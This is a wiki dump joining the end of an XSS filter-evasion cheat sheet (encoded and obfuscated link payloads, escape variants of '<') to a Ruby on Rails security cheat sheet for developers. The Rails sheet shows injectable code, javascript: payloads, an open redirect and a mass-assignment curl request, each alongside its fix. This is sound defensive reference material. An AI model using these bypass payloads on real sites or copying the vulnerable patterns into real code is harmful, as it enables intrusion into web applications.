<nowiki><A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A></nowiki>

=== Dword encoding ===
(Note: there are other of variations of Dword encoding - see the IP Obfuscation calculator below for more details):
<nowiki><A HREF="http://1113982867/">XSS</A></nowiki>

=== Hex encoding ===
The total size of each number allowed is somewhere in the neighborhood of 240 total characters as you can see on the second digit, and since the hex number is between 0 and F the leading zero on the third hex quotet is not required):
<nowiki><A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A></nowiki>

=== Octal encoding ===
Again padding is allowed, although you must keep it above 4 total characters per class - as in class A, class B, etc...:
<nowiki><A HREF="http://0102.0146.0007.00000223/">XSS</A></nowiki>

=== Mixed encoding ===
Let's mix and match base encoding and throw in some tabs and newlines - why browsers allow this, I'll never know). The tabs and newlines only work if this is encapsulated with quotes:

<nowiki><A HREF="h
tt p://6	6.000146.0x7.147/">XSS</A></nowiki>

=== Protocol resolution bypass ===
(// translates to http:// which saves a few more bytes). This is really handy when space is an issue too (two less characters can go a long way) and can easily bypass regex like "(ht|f)tp(s)?://" (thanks to Ozh for part of this one). You can also change the "//" to "\\". You do need to keep the slashes in place, however, otherwise this will be interpreted as a relative path URL.
<nowiki><A HREF="//www.google.com/">XSS</A></nowiki>

=== Google "feeling lucky" part 1. ===
Firefox uses Google's "feeling lucky" function to redirect the user to any keywords you type in. So if your exploitable page is the top for some random keyword (as you see here) you can use that feature against any Firefox user. This uses Firefox's "keyword:" protocol. You can concatinate several keywords by using something like the following "keyword:XSS+RSnake" for instance. This no longer works within Firefox as of 2.0.

<nowiki><A HREF="//google">XSS</A></nowiki>

=== Google "feeling lucky" part 2.===
This uses a very tiny trick that appears to work Firefox only, because if it's implementation of the "feeling lucky" function. Unlike the next one this does not work in Opera because Opera believes that this is the old HTTP Basic Auth phishing attack, which it is not. It's simply a malformed URL. If you click okay on the dialogue it will work, but as a result of the erroneous dialogue box I am saying that this is not supported in Opera, and it is no longer supported in Firefox as of 2.0:
<nowiki><A HREF="http://ha.ckers.org@google">XSS</A></nowiki>

=== Google "feeling lucky" part 3. ===
This uses a malformed URL that appears to work in Firefox and Opera only, because if their implementation of the "feeling lucky" function. Like all of the above it requires that you are #1 in Google for the keyword in question (in this case "google"):
<nowiki><A HREF="http://google:ha.ckers.org">XSS</A></nowiki>

=== Removing cnames ===
When combined with the above URL, removing "www." will save an additional 4 bytes for a total byte savings of 9 for servers that have this set up properly):
<nowiki><A HREF="http://google.com/">XSS</A></nowiki>

=== Extra dot for absolute DNS:===
<nowiki><A HREF="http://www.google.com./">XSS</A></nowiki>

=== JavaScript link location: ===
<nowiki><A HREF="javascript:document.location='http://www.google.com/'">XSS</A></nowiki>

=== Content replace as attack vector ===
Assuming "http://www.google.com/" is programmatically replaced with nothing). I actually used a similar attack vector against a several separate real world XSS filters by using the conversion filter itself (here is an example) to help create the attack vector (IE: "java&#x09;script:" was converted into "java	script:", which renders in IE, Netscape 8.1+ in secure site mode and Opera):
<nowiki><A HREF="http://www.gohttp://www.google.com/ogle.com/">XSS</A></nowiki>

== Character escape sequences ==
All the possible combinations of the character "<" in HTML and JavaScript. Most of these won't render out of the box, but many of them can get rendered in certain circumstances as seen above.

<
%3C
&lt
&lt;
&LT
&LT;
&#60
&#060
&#0060
&#00060
&#000060
&#0000060
&#60;
&#060;
&#0060;
&#00060;
&#000060;
&#0000060;
&#x3c
&#x03c
&#x003c
&#x0003c
&#x00003c
&#x000003c
&#x3c;
&#x03c;
&#x003c;
&#x0003c;
&#x00003c;
&#x000003c;
&#X3c
&#X03c
&#X003c
&#X0003c
&#X00003c
&#X000003c
&#X3c;
&#X03c;
&#X003c;
&#X0003c;
&#X00003c;
&#X000003c;
&#x3C
&#x03C
&#x003C
&#x0003C
&#x00003C
&#x000003C
&#x3C;
&#x03C;
&#x003C;
&#x0003C;
&#x00003C;
&#x000003C;
&#X3C
&#X03C
&#X003C
&#X0003C
&#X00003C
&#X000003C
&#X3C;
&#X03C;
&#X003C;
&#X0003C;
&#X00003C;
&#X000003C;
\x3c
\x3C
\u003c
\u003C

= Character Encoding and IP Obfuscation Calculators =

This following links include calculators for doing basic transformation functions that are useful for XSS.

[http://ha.ckers.org/xsscalc.html http://ha.ckers.org/xsscalc.html]

= Authors and Primary Editors =

Robert "RSnake" Hansen

= Other Cheatsheets =

{{Cheatsheet_Navigation_Body}}
[[Category:Cheatsheets]]
[[Category:Popular]]
[[Category:OWASP_Breakers]]
{{TOC hidden}}

Ruby on Rails Cheatsheet

2014-09-05T16:31:22Z

Michael McCabe: Updated information about authorization gems

__NOTOC__
<div style="width:100%;height:160px;border:0,margin:0;overflow: hidden;">[[File:Cheatsheets-header.jpg|link=]]</div>

{| style="padding: 0;margin:0;margin-top:10px;text-align:left;" |-
| valign="top" style="border-right: 1px dotted gray;padding-right:25px;" |
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''
= Introduction =
__TOC__{{TOC hidden}}

This ''Cheatsheet'' intends to provide quick basic Ruby on Rails security tips for developers. It complements, augments or emphasizes points brought up in the [http://guides.rubyonrails.org/security.html rails security guide] from rails core. The Rails framework abstracts developers from quite a bit of tedious work and provides the means to accomplish complex tasks quickly and with ease. New developers, those unfamiliar with the inner-workings of Rails, likely need a basic set of guidelines to secure fundamental aspects of their application. The intended purpose of this doc is to be that guide.

= Items =
== Command Injection ==

Ruby offers a function called “eval” which will dynamically build new Ruby code based on Strings. It also has a number of ways to call system commands.

eval("ruby code here")
System("os command here")
`ls -al /` (backticks contain os command)
Kernel.exec("os command here")

While the power of these commands is quite useful, extreme care should be taken when using them in a Rails based application. Usually, its just a bad idea. If need be, a whitelist of possible values should be used and any input should be validated as thoroughly as possible. The Ruby Security Reviewer's Guide has a [http://code.google.com/p/ruby-security/wiki/Guide#Good_ol%27_shell_injection section on injection] and there are a number of OWASP references for it, starting at the top: [https://www.owasp.org/index.php/Command_Injection Command Injection].

== SQL Injection ==

Ruby on Rails is often used with an ORM called ActiveRecord, though it is flexible and can be used with other data sources. Typically very simple Rails applications use methods on the Rails models to query data. Many use cases protect for SQL Injection out of the box. However, it is possible to write code that allows for SQL Injection.

Here is an example (Rails 2.X style):

@projects = Project.find(:all, :conditions => “name like #{params[:name]}”)

A Rails 3.X example:

name = params[:name]
@projects = Project.where(“name like ‘“ + name + “‘“);

In both of these cases, the statement is injectable because the name parameter is not escaped.

Here is the idiom for building this kind of statement:

@projects = Project.find(:all, :conditions => [ “name like ?”, “#{params[:name]}”] )

An AREL based solution:

@projects = Project.where("name like ?", "%#{params[:name]}%")

Use caution not to build SQL statements based on user controlled input. A list of more realistic and detailed examples is here: [http://rails-sqli.org rails-sqli.org]. OWASP has extensive information about [https://www.owasp.org/index.php/SQL_Injection SQL Injection].

== Cross-site Scripting (XSS) ==

By default, in Rails 3.0 protection against XSS comes as the default behavior. When string data is shown in views, it is escaped prior to being sent back to the browser. This goes a long way, but there are common cases where developers bypass this protection - for example to enable rich text editing. In the event that you want to pass variables to the front end with tags intact, it is tempting to do the following in your .erb file (ruby markup).

<%= raw @product.name %>
<%= @product.name.html_safe %> These are examples of how NOT to do it!
<%= content_tag @product.name %>

Unfortunately, any field that uses raw like this will be a potential XSS target. Note that there are also widespread misunderstandings about html_safe. [http://stackoverflow.com/questions/4251284/raw-vs-html-safe-vs-h-to-unescape-html This writeup] describes the underlying SafeBuffer mechanism in detail. Other tags that change the way strings are prepared for output can introduce similar issues, including content_tag.

If you must accept HTML content from users, consider a markup language for rich text in an application (Examples include: markdown and textile) and disallow HTML tags. This helps ensures that the input accepted doesn’t include HTML content that could be malicious. If you cannot restrict your users from entering HTML, consider implementing content security policy to disallow the execution of any javascript. And finally, consider using the #sanitize method that let's you whitelist allowed tags. Be careful, this method has been shown to be flawed numerous times and will never be a complete solution.

An often overlooked XSS attack vector is the href value of a link:

<%= link_to “Personal Website”, @user.website %>

If @user.website contains a link that starts with “javascript:”, the content will execute when a user clicks the generated link:

<a href=”javascript:alert(‘Haxored’)”>Personal Website</a>

OWASP provides more general information about XSS in a top level page: [https://www.owasp.org/index.php/Cross-site_Scripting_%28XSS%29 OWASP Cross Site Scripting].

== Sessions ==

By default, Ruby on Rails uses a Cookie based session store. What that means is that unless you change something, the session will not expire on the server. That means that some default applications may be vulnerable to replay attacks. It also means that sensitive information should never be put in the session.

The best practice is to use a database based session, which thankfully is very easy with Rails:

Project::Application.config.session_store :active_record_store

There is an [https://www.owasp.org/index.php/Session_Management_Cheat_Sheet OWASP Session Management Cheat Sheet].

== Authentication ==

Generally speaking, Rails does not provide authentication by itself. However, most developers using Rails leverage libraries such as Devise or AuthLogic to provide authentication. To enable authentication with Devise, one simply has to put the following in a controller:

class ProjectController < ApplicationController
before_filter :authenticate_user

As with other methods, this supports exceptions. Note that by default Devise only requires 6 characters for a password. The minimum can be changed in: /config/initializers/devise.rb

config.password_length = 8..128

There are several possible ways to enforce complexity. One is to put a Validator in the user model.

validate :password_complexity
def password_complexity
if password.present? and not password.match(/\A(?=.*[a-z])(?=.*[A-Z])(?=.*\d).+\z/)
errors.add :password, "must include at least one lowercase letter, one uppercase letter, and one digit"
end
end

There is an [https://www.owasp.org/index.php/Authentication_Cheat_Sheet OWASP Authentication Cheat Sheet].

== Insecure Direct Object Reference or Forceful Browsing ==

By default, Ruby on Rails apps use a RESTful uri structure. That means that paths are often intuitive and guessable. To protect against a user trying to access or modify data that belongs to another user, it is important to specifically control actions. Out of the gate on a vanilla Rails application, there is no such built in protection. It is possible to do this by hand at the controller level.

It is also possible, and probably recommended, to consider resource-based access control libraries such as [https://github.com/CanCanCommunity/cancancan cancancan] (cancan replacement) or [https://github.com/elabs/pundit pundit]to do this. This ensures that all operations on a database object are authorized by the business logic of the application.

More general information about this class of vulnerability is in the [https://www.owasp.org/index.php/Top_10_2010-A4-Insecure_Direct_Object_References OWASP Top 10 Page].

== CSRF (Cross Site Request Forgery) ==

Ruby on Rails has specific, built in support for CSRF tokens. To enable it, or ensure that it is enabled, find the base ApplicationController and look for a directive such as the following:

class ApplicationController < ActionController::Base
protect_from_forgery

Note that the syntax for this type of control includes a way to add exceptions. Exceptions may be useful for API’s or other reasons - but should be reviewed and consciously included. In the example below, the Rails ProjectController will not provide CSRF protection for the show method.

class ProjectController < ApplicationController
protect_from_forgery :except => :show

Also note that by default Rails does not provide CSRF protection for any HTTP GET request.

There is a top level OWASP page for [https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29 CSRF].

== Mass Assignment and Strong Parameters ==

Although the major issue with Mass Assignment has been fixed by default in base Rails specifically when generating new projects, it still applies to older and upgraded projects so it is important to understand the issue and to ensure that only attributes that are intended to be modifiable are exposed.

When working with a model, the attributes on the model will not be accessible to forms being posted unless a programmer explicitly indicates that:

class Project < ActiveRecord::Base
attr_accessible :name, :admin
end

With the admin attribute accessible based on the example above, the following could work:

curl -d “project[name]=triage&project[admin]=1” host:port/projects

Review accessible attributes to ensure that they should be accessible. If you are working in Rails < 3.2.3 you should ensure that your attributes are whitelisted with the following:

config.active_record.whitelist_attributes = true

In Rails 4.0 strong parameters will be the recommended approach for handling attribute visibility. It is also possible to use the strong_parameters gem with Rails 3.x, and the strong_parameters_rails2 gem for Rails 2.3.x applications.

== Redirects and Forwards ==

Web applications often require the ability to dynamically redirect users based on client-supplied data. To clarify, dynamic redirection usually entails the client including a URL in a parameter within a request to the application. Once received by the application, the user is redirected to the URL specified in the request. For example:

http://www.example.com/redirect?url=http://www.example_commerce_site.com/checkout

The above request would redirect the user to http://www.example.com/checkout. The security concern associated with this functionality is leveraging an organization’s trusted brand to phish users and trick them into visiting a malicious site, in our example, “badhacker.com”. Example:

http://www.example.com/redirect?url=http://badhacker.com

The most basic, but restrictive protection is to use the :only_path option. Setting this to true will essentially strip out any host information.

redirect_to params[:url], :only_path => true

If matching user input against a list of approved sites or TLDs against regular expression is a must, it makes sense to leverage a library such as URI.parse() to obtain the host and then take the host value and match it against regular expression patterns. Those regular expressions must, at a minimum, have anchors or there is a greater chance of an attacker bypassing the validation routine.

Example:

require ‘uri’
host = URI.parse(“#{params[:url]}”).host
validation_routine(host) if host # this can be vulnerable to javascript://trusted.com/%0Aalert(0) so check .scheme and .port too
def validation_routine(host)
# Validation routine where we use \A and \z as anchors *not* ^ and $
# you could also check the host value against a whitelist
end

Also blind redirecting to user input parameter can lead to XSS. Example:
redirect_to params[:to]

http://example.com/redirect?to[status]=200&to[protocol]=javascript:alert(0)//

The obvious fix for this type of vulnerability is to restrict to specific Top-Level Domains (TLDs), statically define specific sites, or map a key to it’s value. Example:

ACCEPTABLE_URLS = {
‘our_app_1’ => “https://www.example_commerce_site.com/checkout”,
‘our_app_2’ => “https://www.example_user_site.com/change_settings”
}

http://www.example.com/redirect?url=our_app_1

def redirect
url = ACCEPTABLE_URLS[“#{params[:url]}”]
redirect_to url if url
end

There is a more general OWASP resource about [https://www.owasp.org/index.php/Unvalidated_Redirects_and_Forwards_Cheat_Sheet Unvalidated Redirects and Forwards].

== Dynamic Render Paths ==

In Rails, controller actions and views can dynamically determine which view or partial to render by calling the “render” method. If user input is used in or for the template name, an attacker could cause the application to render an arbitrary view, such as an administrative page.

Care should be taken when using user input to determine which view to render. If possible, avoid any user input in the name or path to the view.

== Cross Origin Resource Sharing ==

Occasionally, a need arises to share resources with another domain. For example, a file-upload function that sends data via an AJAX request to another domain. In these cases, the same-origin rules followed by web browsers must be bent. Modern browsers, in compliance with HTML5 standards, will allow this to occur but in order to do this; a couple precautions must be taken.

When using a nonstandard HTTP construct, such as an atypical Content-Type header, for example, the following applies:

The receiving site should whitelist only those domains allowed to make such requests as well as set the Access-Control-Allow-Origin header in both the response to the OPTIONS request and POST request. This is because the OPTIONS request is sent first, in order to determine if the remote or receiving site allows the requesting domain. Next, a second request, a POST request, is sent. Once again, the header must be set in order for the transaction to be shown as successful.

When standard HTTP constructs are used:

The request is sent and the browser, upon receiving a response, inspects the response headers in order to determine if the response can and should be processed.

Whitelist in Rails:

Gemfile
gem 'rack-cors', :require => 'rack/cors'

config/application.rb
module Sample
class Application < Rails::Application
config.middleware.use Rack::Cors do
allow do
origins 'someserver.example.com'
resource %r{/users/\d+.json},
:headers => ['Origin', 'Accept', 'Content-Type'],
:methods => [:post, :get]
end
end
end
end

== Security-related headers ==

To set a header value, simply access the response.headers object as a hash inside your controller (often in a before/after_filter).

response.headers['X-header-name'] = 'value'

'''Rails 4''' provides the "default_headers" functionality that will automatically apply the values supplied. This works for most headers in almost all cases.

ActionDispatch::Response.default_headers = {
'X-Frame-Options' => 'DENY',
'X-Content-Type-Options' => 'nosniff',
'X-XSS-Protection' => '1;'
}

Strict transport security is a special case, it is set in an environment file (e.g. production.rb)

config.force_ssl = true

For those not on the edge, there is a library ([https://github.com/twitter/secureheaders secure_headers]) for the same behavior with content security policy abstraction provided. It will automatically apply logic based on the user agent to produce a concise set of headers.

== Business Logic Bugs ==

Any application in any technology can contain business logic errors that result in security bugs. Business logic bugs are difficult to impossible to detect using automated tools. The best ways to prevent business logic security bugs are to do code review, pair program and write unit tests.

== Attack Surface ==

Generally speaking, Rails avoids open redirect and path traversal types of vulnerabilities because of its /config/routes.rb file which dictates what URL’s should be accessible and handled by which controllers. The routes file is a great place to look when thinking about the scope of the attack surface. An example might be as follows:

match ':controller(/:action(/:id(.:format)))' # this is an example of what NOT to do

In this case, this route allows any public method on any controller to be called as an action. As a developer, you want to make sure that users can only reach the controller methods intended and in the way intended.

== Sensitive Files ==

Many Ruby on Rails apps are open source and hosted on publicly available source code repositories. Whether that is the case or the code is committed to a corporate source control system, there are certain files that should be either excluded or carefully managed.

/config/database.yml - May contain production credentials.
/config/initializers/secret_token.rb - Contains a secret used to hash session cookie.
/db/seeds.rb - May contain seed data including bootstrap admin user.
/db/development.sqlite3 - May contain real data.

== Encryption ==

Rails uses OS encryption. Generally speaking, it is always a bad idea to write your own encryption.

Devise by default uses bcrypt for password hashing, which is an appropriate solution. Typically, the following config causes the 10 stretches for production: /config/initializers/devise.rb

config.stretches = Rails.env.test? ? 1 : 10

= Updating Rails and Having a Process for Updating Dependencies =

In early 2013, a number of critical vulnerabilities were identified in the Rails Framework. Organizations that had fallen behind current versions had more trouble updating and harder decisions along the way, including patching the source code for the framework itself.

An additional concern with Ruby applications in general is that most libraries (gems) are not signed by their authors. It is literally impossible to build a Rails based project with libraries that come from trusted sources. One good practice might be to audit the gems you are using.

In general, it is important to have a process for updating dependencies. An example process might define three mechanisms for triggering an update of response:
* Every month/quarter dependencies in general are updated.
* Every week important security vulnerabilities are taken into account and potentially trigger an update.
* In EXCEPTIONAL conditions, emergency updates may need to be applied.

= Tools =

Use [http://brakemanscanner.org/ brakeman], an open source code analysis tool for Rails applications, to identify many potential issues. It will not necessarily produce comprehensive security findings, but it can find easily exposed issues. A great way to see potential issues in Rails is to review the brakeman documentation of warning types.

There are emerging tools that can be used to track security issues in dependency sets, like https://gemcanary.com/ and https://gemnasium.com/.

Another area of tooling is the security testing tool [http://gauntlt.org Gauntlt] which is built on cucumber and uses gherkin syntax to define attack files.

Launched in May 2013 and very similiar to brakeman scanner, the [http://rubygems.org/gems/codesake-dawn codesake-dawn] rubygem is a static analyzer for security issues that work with Rails, Sinatra and Padrino web applications. Version 0.60 has more than 30 ruby specific cve security checks and future releases custom checks against Cross Site Scripting and SQL Injections will be added

= Authors and Primary Editors =
Matt Konda - mkonda [at] jemurai.com<br/>
Neil Matatall neil [at] matatall.com<br/>
Ken Johnson cktricky [at] gmail.com<br/>
Justin Collins justin [at] presidentbeef.com<br/>
Jon Rose - jrose400 [at] gmail.com<br/>
Lance Vaughn - lance [at] cabforward.com<br/>
Jon Claudius - jonathan.claudius [at] gmail.com<br/>
Jim Manico jim [at] owasp.org<br/>
Aaron Bedra aaron [at] aaronbedra.com<br/>
Egor Homakov homakov [at] gmail.com<br/>

= Related Articles and References =

* [http://guides.rubyonrails.org/security.html The Official Rails Security Guide]
* [https://www.owasp.org/index.php/Category:OWASP_Ruby_on_Rails_Security_Guide_V2 OWASP Ruby on Rails Security Guide]
* [http://code.google.com/p/ruby-security/wiki/Guide The Ruby Security Reviewers Guide]
* [https://groups.google.com/forum/?fromgroups#!forum/rubyonrails-security The Ruby on Rails Security Mailing List]
* [http://blog.codeclimate.com/blog/2013/03/27/rails-insecure-defaults/ Rails Insecure Defaults]

== Other Cheatsheets ==

{{Cheatsheet_Navigation_Body}}

|}

[[Category:Cheatsheets]]